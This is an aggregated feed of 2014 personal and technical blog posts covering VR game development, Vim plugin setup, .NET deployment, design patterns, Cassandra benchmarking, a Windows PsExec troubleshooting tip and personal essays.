Evan Todd — Sat, 06 Sep 2014 04:55:10 GMT

I'm taking September off to work for some clients, so Lemma is temporarily on the back-burner.

HOWEVER. Wednesday night a certain something arrived in the mail.

I immediately tried it out with Half-Life 2 and was shocked at the massive improvement over DK1. I was so impressed that I've spent pretty much every waking minute since then trying to get it working in Lemma.

Current status? It's very, very close. The VR itself is 100% functional now, I just need to make some UI tweaks. The Oculus SDK makes an incredibly difficult thing as simple as it possibly can be. For Unity users it's almost plug and play, but because I'm still stuck in 2008 with XNA I had to rip out the Unity plugin and hook it up on my own (similar to what I did for Wwise). I discovered that it's very easy to get a somewhat passable result that's actually incorrect. You have to learn about crazy things like chromatic aberration and time warping to get the best result.

Learn from Side Projects

Sam Solomon — Sat, 06 Sep 2014 03:00:00 GMT

How can I learn to code? It’s a question I get a fair amount. The obvious answers are to checkout codecademey and Treehouse.

An idealistic notion

Zac Szewczyk — Fri, 05 Sep 2014 13:46:59 GMT

I first came across Rohan Anderson and his writing through a video titled “The Smokehouse”, where he talked about and demonstrated his efforts to construct a smokehouse completely by hand. Since that cool winter night almost a year ago now, I have continued following Rohan’s activities through his excellent blog, Whole Larder Love, and have linked to a number of his articles in the weeks and months since then. If my implicit endorsement of everything he says and stands for has not been enough to warrant your attention, though, let me come out and say it once more, this time explicitly: if you have any interest whatsoever in the outdoors, farming, sustainability, independence, health, cooking, photography, or alternative lifestyles, I implore you to spend some time learning about Rohan’s lifestyle choices and the reasons he made those decisions. And this post, An idealistic notion, is a great place to start.

Permalink.

Murat Mutlu: Co-founder of Marvel

Sam Solomon — Fri, 05 Sep 2014 03:00:00 GMT

Sometimes those little side projects that take nights and weekends to build can bloom into something much bigger.

One step at a time

D13V — Thu, 04 Sep 2014 03:00:00 GMT

When I was 18 years old, I started taking driving lessons. I practiced on an old Opel Astra, that was running on propane instead of normal gas, to save money. On my first lesson, we spent a large portion of the time going over the different tools and instruments available in the car. We covered many things at once. How to turn the signals, which pedal is the throttle, the break, and the clutch, how to use them to switch gears, how to turn lights on/off, how to see the amount of gas available, how to turn the radio on/off.

The first few lessons I spent by thinking mostly about how to switch gears so that the car would go smoothly and not choke up. I didn’t pay full attention to all the traffic signs and all the pedestrians crossing in front of me. I had an instructor next to me who made sure I don’t crash into objects or people. Because of that I was able to devote more time to learning how to operate the controls of the car, how to switch gear smoothly, accelerate and decelerate.

I became OK with controlling the car, but I wasn’t great. I was also far from great on my situational awareness - I hadn’t practiced enough looking in perspective, with foresight about the traffic conditions, so I ended up being very reactive to the world around me, instead of being proactive about avoiding collisions, avoiding slowness and observing the traffic rules.

Later, after I got my driver’s license, I learned to be better on these aspects of driving, I learned to look further away in distance, to anticipate cars switching lanes and to precisely control which path I took among the different lanes in order to get to my destination faster. It took a lot of practice. As I was starting to my driving career I was bad at all of these and I was probably a pretty bad and dangerous driver. I should have learned these essential skills better before I got my license. Luckily, I avoided traffic accidents, but I’ve been thinking about how much better of a driver I would have been if I had learned to drive on automatic car.

If I were to learn on an automatic car, I would have one less task in front of me. I would have focused more on how the car behaves in relation to the other cars on the road, to pedestrians, and traffic signs. Once capable enough to decide and execute on the right behavior for the car, I could optionally start learning how to control the manual aspect of shifting gears, and how to keep a smooth ride, accelerating and decelerating.

An year ago, I was in Italy, and the rental car I had rented stopped working. I had to call the representative of the company, who barely spoke English, and my Italian was even way worse, and I had to explain that I have already rented a car from a different city, the car doesn’t work, I need a new car and so on. The connection wasn’t always great so I had to call multiple times, and I had to start my explanation from scratch. If I tried to say my situation and all my problems at once, the person on the other side of the phone got really confused. So, I started saying one thing at a time, wait for the acknowledgement from that person, that have understood. They often repeated their understanding which made it easier to move the conversation.

Breaking up the any communication would simplify the process and focus on what is really important. Not only that, it would lead to a more solid transfer of information. For example, I’ve seen how breaking up teaching into few small lessons makes it easier for the teacher and the student to follow along. As humans we can only keep so many things in our minds, so anything unnecessary is a distraction. When teaching somebody a piece of information, break it down into small, possibly independent pieces. This way limit the number of unknowns at any moment to only one, because if the other person isn’t paying full attention or simply didn’t understand then you can repeat or clarify. By breaking down the lesson into smaller bite-sized learnings the recipient of the information has better chance of “getting it”.

The order of the pieces of information is also important. If you jump into a middle of a conversation, then so many things don’t make sense because they were introduced and described earlier in the conversation and now they are assumed for known and taken for granted.

There are many situations in life where you might be explaining something complex and you might think that certain parts of it are obvious but they wouldn’t really be obvious to the other person. The problem that you don’t know whether the other side understands you and what they understand. Even if they say “Yes, I understand”, chances are that their understanding differs from yours. While many times the differences wouldn’t matter for the task at hand, when they actually do happen to matter the situation turns into arguing and negotiating. By keeping an active dialogue with the other side about what they understand you get much better feedback on what you need to clarify and because of this feedback you can move the conversation forward. One step at a time, but at least you know it is in the right direction.

One piece of information at a time is the speed limit of human communication. Here “at a time” means one loop of a conversation. If communication happens in person, then loops are short and communication can go back and forth fast. Pieces of information can build up on top of previously communicated pieces of information, as long as the previous piece of information is shared by both parties. The “one step at a time” becomes really important in this case, as without it failures of understanding are harder to pinpoint.

When I first arrived to USA and took a driver exam I got failed. I didn’t fail because the exam was harder than the exam I had previously passed in Bulgaria. It was actually easier and shorter. I failed because I hadn’t really learned to control the car to the point where control comes naturally and viscerally. It took me a fair bit of driving with my Bulgarian license to become precise and foresightful about driving.

My driving skills got developed to the level of not having to think at all about “how do I make the car accomplish this”. Instead, I only think about “what” I want to accomplish and my subconsciousness takes care of it.

But I still had room to improve.

Last year I was driving through the mountains, on a curvy road, and my friend said I was shaking the car too much, by doing very sudden turns. He said that while such turns might be necessary for racing drivers, they are completely unnecessary when driving a normal car. Driving smooth wasn’t a skill to learn before following traffic and before getting a good control over the car. But because I had these skills then, learning to drive smoothly become the next step of learning for me. And I improved on it. I have more steps to learn, and plan to learn them one step at a time.

Introducing: Oh My Vagrant!

The Technical Blog of James on purpleidea.com — Thu, 04 Sep 2014 02:19:19 GMT

If you’re a reader of my code or of this blog, it’s no secret that I hack on a lot of puppet and vagrant. Recently I’ve fooled around with a bit of docker, too. I realized that the vagrant, environments I built for puppet-gluster and puppet-ipa needed to be generalized, and they needed new features too. Therefore…

Introducing: Oh My Vagrant!

Oh My Vagrant is an attempt to provide an easy to use development environment so that you can be up and hacking quickly, and focusing on the real devops problems. The README explains my choice of project name.

How to speed-up Vim’s Command-T plugin

Baptiste Fontaine’s Blog — Thu, 04 Sep 2014 01:03:00 GMT

Command-T is a wonderful Vim plugin which allows you to open files with a minimal number of keystrokes. It’s really handy in a large codebase where you only have to type <leader>t, then a couple letters and press enter to open your file. It’s based on a fuzzy matching, which let you skip letters without worrying.

I recently installed the plugin on another machine and noticed it was really low: I had to wait a couple seconds to get the files list everytime. My computer has 8GB RAM so the problem wasn’t there.

The solution is pretty simple: the plugin relies on a C extension which I forgot to compile after the installation.

From the docs:

cd ~/.vim/bundle/command-t/ruby/command-t
ruby extconf.rb
make

It’ll make the plugin incredibly faster. This step is easy to miss if you read the docs too quickly. I wrote this blog post to remember this, I hope it might help a couple others since I didn’t find anything on Google about this issue.

How to Unschool Your Kids at Any Age

Zac Szewczyk — Wed, 03 Sep 2014 11:02:19 GMT

After Ben Hewitt’s recent essay on his approach to and the benefits of unschooling, Outside Online has another great article on the subject, this time offering some helpful suggestions to those looking to differ from the norm. Again, not the time to share my thoughts on this subject quite yet, but keep this one, too, in the back of your mind when I do.

Permalink.

About collecting usage statistics from Wish 'N U

Prasham H Trivedi — Wed, 03 Sep 2014 03:00:00 GMT

I use Google Analytics to collect some usage information in Wish ‘N U.This post is to explain what do I collect and why.

PianoBar: Pandora without all the Flash

Joshua Rogers — Mon, 01 Sep 2014 15:00:00 GMT

Over the last few years I've grown rather accustomed to listening to my Pandora while working, even upgrading to PandoraOne so that I can enjoy my music without interruptions 1. However, I found myself avoiding Pandora earlier this year. Why? Pandora uses Flash for the web and Air for the desktop, presumably in order to annihilate the battery on my laptop. 2 The problem isn't Pandora though, it's Flash. What if I could use Pandora without Flash?

Cabin Porn Roundup

Zac Szewczyk — Mon, 01 Sep 2014 12:25:53 GMT

This is a continuation of my ongoing Cabin Porn Roundup series, where I collect interesting pictures of cabins and cool stories about the outdoors from across the world and present them in a single location. Much like my “This Week in Podcasts” series, I feature only the best of the best here. Enjoy.

Permalink.

Annie Hall

🦉 olshansky 🦁 — Sun, 31 Aug 2014 12:01:16 GMT

Olshansky's review of Annie Hall

This Week Without Podcasts

Zac Szewczyk — Sun, 31 Aug 2014 10:22:43 GMT

For the past five months I have continued publishing a series of articles dubbed “This Week in Podcasts”. Born of my love for the medium, I have curated these lists to great results, and to my great enjoyment. However, this week I find myself in an unfortunate position: although I have worked diligently to get through my growing queue of unplayed podcast episodes over the past week, I have yet to find anything that merits inclusion in this list. I have had the privilege of listening to some great shows, but nothing struck me as particularly excellent and worthy of mention, unfortunately. And so, I have nothing to share with you today. I apologize, and look forward to something more next week.

Permalink.

Signal Tower: Longform Interviews

Sam Solomon — Sun, 31 Aug 2014 03:00:00 GMT

Signal Tower is an online magazine that features longform interviews with entrepreneurs, writers and designers.

Easy way to test a tiled and animated background sprite

Erico Notes — Sat, 30 Aug 2014 19:52:40 GMT

I'm working in my game, it's going be awesome. Ok, so while working in it, I need a fast way to test my animated background sprites. I use Aseprite for drawing - it's great, and if you use Ubuntu, you can sudo apt-get install aseprite. Go to the website for more info on other OS: http://www.aseprite.org/

Let's try an example:

save this water sprite! I made it myself! :D (that's why it's ugly..)

Aseprite can export your sprite sheet to gif easily:
file->import sprite sheet
Choose your file, and set width and height to the sprite size (mine is 32 x 32 pixels)
Now in frame->play animation you can see your animation is working!
Now in file->save as... select .gif and we have a beautiful animated gif.

This is the gif!

Ok, problem is it's difficult to have an idea if the water will turn out ok because we haven't seem it animated AND tiled. So how can we do this? I was thinking about it and decided to code an easy solution to the viewing problem! Let's make and html!

 <html>  
 <head>  
 <title>Animated Background Tile Tester</title>  
 <style TYPE="text/css">  
 <!-- body {  
 background-image: url("animateWater1.gif");  
 background-size: 64px 64px;  
 image-rendering: -moz-crisp-edges;  
 image-rendering: -o-crisp-edges;  
 image-rendering: -webkit-optimize-contrast;  
 -ms-interpolation-mode: nearest-neighbor;  
 } -->  
 </style>  
 </head>  
 <body></body>   
 </html>

Ok, so this is a very simple html for testing sprite. Let's break it down:
background-image is where the filename of your image goes.
background-size is the size. I'm using it to double the scale of my gif, because my game will use double pixel scale.
image-rendering lines and -ms-interpolation are forcing use nearest-neighbor for aliasing option - like no anti-aliasing.

I couldn't find a way to embedded the example above in this blog post, if you know how to do the Xzibit way and put a html page inside a html page, please tell me.

Nearest-neighbor doesn't work

Ok, I've only tested in Firefox 31.0. I know this example doesn't work in Chrome. I'm using because I had to disable caching - I use SSD and there is a lot of people on the web saying that caching is bad for it. Don't know if it's true, but with no cache it's better for web development.

I can't resize Aseprite on Ubuntu!!!

Yeah, unfortunately this is true for the Aseprite in the repository. But there is one way out. Close it. In your home folder, find the .asepriterc file and open it. Find the lines that look like this:

 ...  
 [GfxMode]  
 Maximized = no  
 Width = 1800  
 Height = 960  
 ...

And change the width height to one of your choice, and then reopen Aseprite. It's not the best solution, but it's easy and works! There are other solutions in the web, Google is your friend.

The Leftovers: Season 1

🦉 olshansky 🦁 — Sat, 30 Aug 2014 11:45:19 GMT

Olshansky's review of The Leftovers: Season 1

Conjecture Regarding Larger iPhone Displays

Zac Szewczyk — Sat, 30 Aug 2014 10:38:39 GMT

John Gruber with the one article you ought to read before Apple announces its new iPhones in a few weeks, and the single article you ought to read afterwards as well when searching for the reasons Apple chose these dimensions. Minus the somewhat unimaginative title, a great piece, albeit somewhat hard to follow at times given the complexity of the topic at hand and the factors playing into his assumptions.

Permalink.

Blue Screen - Ludum Dare 30 Entry

Varun Ramesh's Blog — Sat, 30 Aug 2014 00:51:00 GMT

Last weekend, I participated in Ludum Dare, a game jam where you make a game from scratch in under 48 hours.

Curation Gone Wrong

Zac Szewczyk — Fri, 29 Aug 2014 11:10:27 GMT

Although I have never spent much time on Reddit, I once perused Digg with the same frequency that I opened Twitter and my RSS reader; sometimes, I even opted for the former in place of the latter. Similarly, I favored Hacker News over the more popular Techmeme for a time. In both cases though, despite all the enjoyment I found in these sites, I eventually abandoned each of them as the value they provided continued a disappointing slide towards zero. Today, Daring Fireball and The Loop are the closest things to a curation service that I continue visiting regularly, and one could certainly make an argument against their characterization as such.

Permalink.

Taming Portable Class Libraries and .NET Framework 4

Nicola Iarocci — Thu, 28 Aug 2014 03:00:00 GMT

If your project is a Portable Class Library and you want it to run with the .NET Framework 4 well, you are in for a few surprises. Especially so if you are using InstallShield for building your deployment package. We’ve been going through this a few days ago and it’s been kind of a wild ride. I thought I could pin the whole thing down so that others might enjoy a painless journey through all this mess.

Portable Class Libraries and .NET Framework 4

The first thing you should know is that while the .NET Framework 4 does support PCLs, in fact it won’t run them without a patch. For whatever reason, Microsoft decided that PCL compatibility wasn’t a worth a 4.0.4 update. That leaves us with the need to not only make sure that target machines are running the up-to-date .NET4 release (v4.0.3) but also that they’ve been updated with KB2468871.

You might be wondering why this is an issue in the first place. We could simply install the .NET Framework 4.5 which is backward compatible with the .NET4 and includes the afore mentioned KB2468871. Even better, we could just target the .NET 4.5 on our PCL. Problem is that besides iOS, Android, WinPhone and Silverlight we also want our libraries to run seamlessly on as many Windows editions as possible, Windows XP included. Here is the catch: .NET4 is the last framework version to run on Windows XP. And yes, we got the memo, Microsoft officially abandoned Windows XP a while ago so why bother? Well it turns out that millions of users are still running XP, especially so in the enterprise and SMB. These PCL are targeting exactly that, precisely the accounting software segment, and believe me there’s a huge number of users happily invoicing and accounting on their old-fart-but-still-splendidly-doing-its-job-for-cheap boxes. Oh and the .NET Framework 3.5 is not an option as it doesn’t support Portable Classes at all.

Avoid null with Containers

Daniel Little Dev — Thu, 28 Aug 2014 01:42:52 GMT

In C# It's often recommended that you should avoidi using nulls wherever possible. Avoiding nulls is a great concept that can simplify your…

ALS Ice Bucket Challenge

Joshua Rogers — Wed, 27 Aug 2014 15:00:00 GMT

Guy at the far left barely gets wet. Oh, that's me. Well, that works.

We Don't Need No Education

Zac Szewczyk — Wed, 27 Aug 2014 11:08:49 GMT

Ben Hewitt puts forth a very good case not seeking to argumentatively justify the notion of unschooling, but rather simply to explain his motivations behind choosing it for his two children in a fantastic article for Outside Online titled “We Don’t Need no Education”. As a homeschooler myself whose education resided somewhere between the traditional system and Ben’s approach on the spectrum of organized learning, I have been fortunate enough to both witness and experience many of the philosophies named here. Although this is neither the time nor place to discuss those observations, nor my broader thoughts on education vis-a-vis this article, keep this one in mind when I finally do sit down to talk about education.

Permalink.

Rough data density calculations

The Technical Blog of James on purpleidea.com — Wed, 27 Aug 2014 08:52:47 GMT

Seagate has just publicly announced 8TB HDD’s in a 3.5" form factor. I decided to do some rough calculations to understand the density a bit better…

Note: I have decided to ignore the distinction between Terabytes (TB) and Tebibytes (TiB), since I always work in base 2, but I hate the -bi naming conventions. Seagate is most likely announcing an 8TB HDD, which is actually smaller than a true 8TiB drive. If you don’t know the difference it’s worth learning.

Icon Yard

Sam Solomon — Wed, 27 Aug 2014 03:00:00 GMT

Icon Yard is a library of Creative Commons Zero icons created by designers from all over the world. Finding good icons can make or break a project.

Alone With Lions

Zac Szewczyk — Tue, 26 Aug 2014 16:26:31 GMT

Jeff Kish is a contributing editor for Gear Junkie, a great site that publishes articles about the outdoors and the gear we humans can use to best tackle it. For the past two months, Jeff has been on a mission to hike the Pacific Northwest Trail, and post regular updates and gear reviews along the way. With this report, he has finally crossed the halfway point, and so I felt that now was as good a time as any to post a link here: if you, like me, appreciate a good trail almost as much as a great work of prose, I encourage you to give this series a look: it has both in good supply.

Permalink.

Command prompt running as NT AUTHORITY\Network Service

Allan's Blog — Tue, 26 Aug 2014 12:24:00 GMT

Here's a convenient way to get a command prompt running as Network Service. This is useful for troubleshooting authentication issues for services running as Network Service.

Get Psexec from http://live.sysinternals.com/psexec.exe.

Run:

psexec -u "NT AUTHORITY\Network Service" -i cmd

Or, if you prefer PowerShell:

psexec -u "NT AUTHORITY\Network Service" -i powershell

Or, if you prefer PowerShell, and a bigger than standard window with some distinguishable color:

psexec -u "NT AUTHORITY\Network Service" -i powershell -noexit "cd c:\ ; mode con:cols=170 lines=60 ; (Get-Host).UI.RawUI.BufferSize = New-Object System.Management.Automation.Host.Size(170,3000) ; (Get-Host).UI.RawUI.BackgroundColor='DarkCyan' ; clear"

Looking to the Future

Zac Szewczyk — Mon, 25 Aug 2014 10:59:48 GMT

Here on this website, I predominantly write about technology: Apple, iOS, the web, code, and the like in a mixture of original articles and link posts. I also put together a weekly collection of excellent podcasts that I, quite creatively, dubbed “This Week in Podcasts”. Roughly once a month I write about cabins too, and every so often talk about outdoor gear. The vast majority of the pieces I publish here, however, are at least tangentially related to technology. So if today you have come here looking for one of these articles, perhaps one where I hypothesize as to the future of podcasts or Apple’s next operating system, you might as well leave now: today I will touch on none of those topics, for I have sat down to, for the first time in quite a while, talk about myself. Myself, and my future.

Permalink.

Arpad: An ELO Ranking System for Node.js

Thomas Hunter II — Mon, 25 Aug 2014 03:00:00 GMT

A brief critique of the singleton pattern

Ecce Homology on Bastian Grossenbacher Rieck's personal homepage — Sun, 24 Aug 2014 20:58:47 GMT

As a preparation for an upcoming workshop on design patterns, I revisited some of the more common design patterns. The most infamous one is probably the “singleton pattern”. Lauded by some, called an ugly mask for global variables by others, it certainly seems to divide the community. I, too, am "guilty" of its use.

As a quick refresher: The singleton pattern refers to a software design pattern in which you enforce that there is but one instance of a certain class. A somewhat contrived usage example might be an application that has a central manager that is queried about the state of its objects.

Disadvantages

So, what are the disadvantages of this pattern? On the surface, singletons appear to be useful and rather easy to implement, there are hidden depths. First of all, making a singleton thread-safe is no easy task. There is a whole paper, written by none other than Scott Meyers and Andrei Alexandrescu, two very prominent figures of the C++ pantheon, next only to the mighty Stroustroup himself. Furthermore, it is not easy to guarantee that only one singleton will be created all the time. For example, when using templates in C++, a templated singleton class might be instantiated for every compilation unit. Also, if different threads vie for control over the singleton instance, one needs to look out for race conditions (although to be honest, this is the whole "singletons are not thread-safe issue" all over again). Last, I dislike that the singleton pattern somewhat favours tight coupling between different classes. Since the singleton cannot be changed at runtime, all dependent classes are bound to use it. Thus, the singleton instance contains a lot (perhaps too much) state information that lasts over the complete life-time of the program.

Advantages

So, why use singletons then? When I created one the last time, I thought that the singleton at least shows the intent that there should only be one instance of something. For example, if the rest of your application depends on a class that manages data, there better only be one instance of the data manager. Or else…

Also, the singleton offers a great way for providing a single point of access towards objects or methods. I could, for example, enforce that a singleton data manager is locked until a dependent class has finished its operation. This leads to (at least in my opinion) cleaner code and less battles about shared resources.

An alternative?

Still, the fact that a singleton is basically a global variable in a fancy dress somehow got to me. Insight came to me one day: Each dependent class (i.e. each class that uses the singleton for some operation) is not really interested in knowing that there is only one global instance of the singleton. The class is only interested in knowing which object needs to be interacted with in order to perform the operation.

Again, a slightly contrived example. Suppose we have a game engine with classes for different creatures. Each creature instance is not interested in whether there is a single global map on which it appears. Rather, it only needs to know which particular map instances it is a part of. Thus, we could create a constructor for each creature that requires a pointer to the map class:

Creature::Creature( Map* map )
  : map_( map )
{
}

And later on, we could simply peruse “our” map instance for all operations:

bool Creature::canAttack( Creature* other )
{
  return map_->isInRange(this, other);
}

What I immensely liked about this idea was that I do not need to ensure that there is only a single instance of the map class. Rather, I could create one instance of the map class prior to starting any other threads and simply use them for all dependent objects.

So, what are the advantages of this method? First, this completely circumvents thread problems. If needed, every method of the map class could use a mutex to ensure that only one thread is currently using it. But what I like even more is the idea that the implementations are now slightly exchangeable. If the map class becomes an abstract base class, we could simply use all sorts of wacky map implementations for the creature class—a map that measures distances on the torus, for example. If this sounds too contrived to you, let me put it more abstractly: By using only a pointer at the class constructor, we can swap out implementations (for testing purposes) and make the coupling between classes more loose.

Conclusion—nothing new under the sun

I thought I had come up with a great new way of combining the power of singletons with my personal guidelines for clean code. Imagine my shock when I discovered that this technique is known as “dependency injection”. Well, I tried.

Let me end this on a positive note: I do not think that the singleton pattern is necessarily "evil" or "wrong". It just seems very easy to abuse or use incorrectly. Writes the guy who at one time thought that singletons were the best invention since sliced bread.

This Week in Podcasts

Zac Szewczyk — Sun, 24 Aug 2014 11:27:32 GMT

An unfortunately short list for you this week, curiously, despite the fact that — given my two-week absence — I have no shortage of podcasts queued up awaiting a bit of free time. But, therein lies the problem: as school resumes, I will no longer have the eight hours a day, forty hours each week, that I did over the summer to devote to podcasts. But enough about me — on to the shows you came here to hear about:

Permalink.

Being Philosophical by Edward St Aubyn

ho.dges.online — Sun, 24 Aug 2014 03:00:00 GMT

“But that’s what the English mean, isn’t it, when they say, ‘He was being very philosophical about it’? They mean that someone stopped thinking about it.”

How to Build Your Own Cabin

Zac Szewczyk — Sat, 23 Aug 2014 11:49:06 GMT

A pragmatic approach to something I one day hope to undertake myself: building my own cabin out in the woods. I fully a knowledge that I do not yet have all the experience necessary to do this well, to say nothing for the money, but all in due time.

Permalink.

How accurate are crowdsourced morphometricians?

Jonathan Chang — Sat, 23 Aug 2014 05:55:46 GMT

Previously: Building a web-based image markup system

One of the main goals of my Encyclopedia of Life project is to speed up the collection of phenotypic data through crowdsourcing. However, we cannot expect that the typical crowdsourced worker has the same domain-specific knowledge that an expert scientist has. But does this make a difference when digitizing the shape of fishes?

To look for a difference, I constructed an experiment where crowdsourced Amazon Mechanical Turk workers would digitize the same set of 5 images 5 times each. I then asked some expert fish morphologists to digitize the same images using the same instructions. This setup allowed me to examine how consistent marks were for each group of workers, and also compare the two to see if their marks differed on average. The results are below:

Can you spot the difference between the two images? The top image shows landmarks averaged across several MTurk workers, while the bottom image is from a fish morphologist following the same protocol. The length of each line indicates the amount of error in each x,y direction.

Many landmarks are qualitatively identically marked. However, there is a difference, especially in the fin landmarks. The expert consistently uses the most anterior and posterior fin rays and marks it accordingly; however, turkers will instead tend towards the point that more intuitively defines the shape of the fin.

Both approaches are correct in a sense, though they are looking at very different aspects of fish morphology. This discrepancy is in part due to a difference in how turkers interpret the protocol. I am currently working to further refine this protocol in order to reduce this difference and get results that are nearly indistinguishable from traditionally collected data sets.

All of our protocols and code are open source, available on GitHub: 1 2

Many thanks to the Mechanical Turk workers and Tina Marcroft for digitizing images, and Matt McGee, Adam Summers, and Brian Sidlauskas for helping to clarify the protocol.

Let's talk about copyright, licencing, and who owns the code

Sam says you should read this — Sat, 23 Aug 2014 03:13:19 GMT

As a freelance developer, the most common conversation I have with new clients is about copyright, licensing, and code ownership. It isn't a well understood area for many people, and many other freelancers who I talk to don't really get it, either. So let's talk.

Copyright

In general, when you create something, you are automatically assigned copyright over it. This means that you have the right to determine who, when, and how the thing that you created is copied. For me, as a developer, any code that I write is automatically copyrighted to me. I can, through a general agreement or a contract gi…

Zero Value Added

Zac Szewczyk — Fri, 22 Aug 2014 15:22:54 GMT

Shortly after Amplified started in 2012, I began following The Loop back when Jim Dalrymple served as the site’s sole writer. With a great sense of humor and an attractive approach to journalism that made no bones about calling people, institutions, and companies out for their often ridiculous shortcomings, the fact that Jim wrote great hardware reviews after Apple events was more a cherry atop the sundae than a driving motivation behind my choice to follow him; before too long, he had become one of my favorite writers, and his site the one location I turned to for a more diverse set of news stories than we in the insular tech community often expose ourselves to.

Permalink.

2014-08-22

ho.dges.online — Fri, 22 Aug 2014 03:00:00 GMT

Post lockers.

A class to handle all analytics related operations.

Prasham H Trivedi — Fri, 22 Aug 2014 03:00:00 GMT

I have created a class that can work as a wrapper for google analytics operations. To initialize, it only needs a context variable. To send events I wrote sendException,sendEvent and sendTime methods, asks analyticsTracker to call respective methods and accept same arguments which can be passed directly to related tracker methods.

Note on cheap iPhones

Zac Szewczyk — Thu, 21 Aug 2014 10:20:06 GMT

Very interesting point from Benedict Evans at the tail end of this article, where he points out that Apple’s decision not to build a larger phone, and the company’s decision not to enter the mid- to low-end, place it in a very powerful position going forward as those decisions can be reversed at any time. Much more powerful a position than its competitors, because unlike Apple who possess the ability to ship phones with these capabilities but has thus far deigned not to, others have proven wholly incapable of creating the aspects that make Apple’s products so valuable. Going forward, that ought to cause a great deal of concern amongst some, while a great deal of hope among others.

Permalink.

Apache Cassandra benchmarking

Michael Mior — Thu, 21 Aug 2014 03:00:00 GMT

I was recently trying to run some benchmarks against Apache Cassandra on EC2 since unfortunately the servers I had in our machine room were destroyed in a fire. For all my local testing, I used a single instance running on my desktop machine, but I wanted to ramp things up for the real benchmarks and use three nodes. Since my workload is read-only and the dataset is fairly small, I also wanted a replication factor of three so each node would have a copy of all the data.

My first attempt to load all this data was to follow some documentation provided by DataStax. Their suggestion was to use ALTER KEYSPACE in CQL to change the replication factor, and then simply run nodetool repair on each node. However, I found that running repair on just one node took several hours for a modest-sized amount of data (~2GB). This was a pretty big time sink as I wanted to able to quickly spin up and down a cluster for testing.

Next I tried changing the configured replication factor locally before exporting the data. I then simply copied the data to all nodes in the cluster and tried to start them as normal. This created some weird conflicts as nodes seemed to be confused about who owned what portion of data.

Finally, I simply loaded up the data set on a single node and configured a replication factor of three. I then started each node in sequence and the auto bootstrapping process took care of copying the entire dataset to each node in the cluster. This whole process was complete in less than half an hour. This approach wouldn’t really work in a production setting since it assumes the node has no existing data (although if you can afford to bring a node offline for a while, I suppose that it might work). In any case, this solution worked great for me and hopefully someone else finds this useful.

How to send email programatically from Java to easyname's SMTP server

Databases & Life — Thu, 21 Aug 2014 03:00:00 GMT

If you want to send email then it’s best to do it over the email server that is the authoritative one for the sender email address.

If you are using easyname and want to send email from a Java program from an easyname-controlled email address via easyname’s email servers, this is how you do it.

Update: Thanks to AndiT. RobinK, DavidZ for pointing out that a better way to do this would be to install a local mail server (MTA) e.g. postfix, send the email from Java to the MTA, and have the MTA send the email to easyname. If easyname experiences a problem, the email will be queued by the MTA. Configuring an MTA is outside the scope of this article :)

How to be Creative in One Simple Step

Zac Szewczyk — Wed, 20 Aug 2014 10:39:30 GMT

I tweeted a link to this piece right before I left for Canada, but it bears repeating once more in a more formal fashion here: on August 1st, Linus Edwards made a brief reappearance on VintageZen with another installment in his ongoing article series, this time titled The Daily Zen #17 “how to be Creative in One Simple Step”. If you, like me, have become disillusioned with the creativity racket, and especially if you have not yet realized this, I highly recommend this short piece: Linus makes a great case, and has a fantastic conclusion.

Plus, as a expletive-filled bonus at the bottom of his post, commenter Dain Miller leveled a criticism not overdue for Linus in particular, but more so the entire faction of writers who love to wax on explaining how difficult writing has become. I will not be so foolish as to deny the difficulty of writing, but I will say that I agree wholly with Dain’s statement: “I’m so sick of people not doing their blogs anymore ‘because they don’t feel like it’. ‘It got hard’ wah wah wah. Fucking christ dude, man the fuck up and do your work. If your goals are really the goals you said they are, or you want to accomplish was what you claimed you did - you wouldn’t let ‘something being inconvenient or a chore’ fucking stop you.” I 100%, completely, totally, and unequivocally agree.

Permalink.

Star Wars Galaxies: A Community to Remember

Ben Overmyer's Site — Wed, 20 Aug 2014 03:00:00 GMT

In June of 2003, I began a journey in a galaxy far, far away.

Star Wars: Galaxies was a massively multiplayer online RPG set in the Star Wars universe, roughly between episodes IV and V. But really, the timing wasn't all that important.

All that mattered was that the Galactic Empire was at war with the Alliance to Restore the Republic, and that you as a player could either ignore the war or embrace it.

Almost exactly one year prior to the retail release of the game, I joined a “Player Association” called the Galactic Conglomerate. We gushed about what the game would be like, and how much it would conform to canon, and what we would do once we logged in. Most of us didn't have beta access.

At the time, I was living in New Zealand, so I wasn't officially supported. The game wasn't available when it was released, so one of my Galactic Conglomerate friends bought it and mailed it to me. To my shame, I don't remember his name, though I did pay him back for it immediately with New Zealand Dollars.

Regardless, come launch day, I was in the game and playing. It was an experience to be remembered. My character was created as an Artisan, the prototypical crafter from the game. In those days, the game was based around a freeform skill system that allowed you to combine a variety of different “professions” to create your character. I strongly remember specializing in weaponsmithing and carbine use, a combination that wasn't very popular at the time. I spent many hours speculating with my low-level mineral discovery devices so that I could gather enough materials to build the newest type of weapons and armor.

Over the next few months of release, I spent a lot of time building weapons and armor for my guild, and participating in guild hunts as a carbineer. I used my self-crafted automatic blaster weapons both as my own weapons and as those of my squadmates to take down such worthy enemies as Sharnaffs, which at the time were powerful NPC monsters.

When the day came that player cities were added to the game, I was ecstatic. I was the architect for my Player Association, so I was charged with building the City Hall that would allow us to create a city on Chilastra, our chosen capital.

It was a long, arduous process. When I finally hit the button that would complete our City Hall, I was greeted with a message that caused the bottom to drop out of my stomach: “Critical Failure: Assembly has Failed.” Normally, with any other crafting, this would mean that all the materials — including the sub-components — involved the crafting were lost. Due to an early bug in the city-crafting process, though, I was able to bypass the critical failure and complete our City Hall.

Sadly, we weren't in time to claim one of the ten city slots for Chilastra. In a panic, we hurriedly rushed to Talus, one of the moons of Chilastra. We succeeded in placing our city there, and for the rest of the life of Star Wars: Galaxies, I would occasionally return to that fateful point and reminisce.

To this day, I think of that first city with a mixture of sadness and happiness.

On December 15th, 2011, Star Wars: Galaxies' servers were shut down for the last time. I produced a video on YouTube to commemorate the occasion, but it didn't really do justice to the memories I had of the game. No MMORPG since then has ever filled the same purpose, and despite the hardships and drama I suffered during the game's life, or maybe because of it, I have never found a community that shares the same kind of experience.

Last year, John Smedley — the producer of Sony Online Entertainment, the company that made Star Wars: Galaxies — hinted that they were working on something that would make SWG fans proud. I hope that he's right. Star Wars: Galaxies, for all its myriad flaws, was the best online community I have ever been proud to take part in.

Forward Agents

Databases & Life — Wed, 20 Aug 2014 03:00:00 GMT

At one company I worked at, we had “customer care agents” who would answer requests from users, e.g. emails and telephone calls.

I always thought the name was a bit strange. I suspected it had been created by someone who wasn’t a native English speaker, or perhaps I am just disconnected with the world of business terminology. (I am aware that James Bond is “secret agent” but I had never heard of “customer-care agent”.)

KiraVan

Zac Szewczyk — Tue, 19 Aug 2014 11:28:42 GMT

